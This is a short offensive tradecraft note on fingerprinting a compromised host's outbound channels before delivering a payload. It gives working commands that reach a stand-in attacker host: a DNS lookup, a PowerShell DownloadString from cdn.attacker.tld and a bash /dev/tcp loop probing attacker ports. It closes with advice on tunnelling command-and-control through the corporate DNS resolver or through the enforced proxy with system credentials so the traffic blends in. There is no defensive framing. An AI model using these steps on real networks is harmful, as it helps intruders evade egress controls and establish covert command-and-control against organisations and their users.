Fingerprint egress channels before delivering a payload

Blind callbacks get caught. Enumerate what the host can reach: direct HTTPS, a forced proxy, or only DNS through the corporate resolver. Match your channel to what already flows.

Resolve-DnsName test.attacker.tld
(New-Object Net.WebClient).DownloadString("https://cdn.attacker.tld/ping")
netsh winhttp show proxy

Confirm which ports survive the perimeter.

for p in 443 53 80 8080; do timeout 3 bash -c "echo > /dev/tcp/attacker.tld/$p" && echo "open $p"; done

Pro note: if only DNS resolves, tunnel through the internal resolver rather than direct 53, which egress rules often block. When a proxy is enforced, route C2 through it with system credentials so the traffic matches every other client.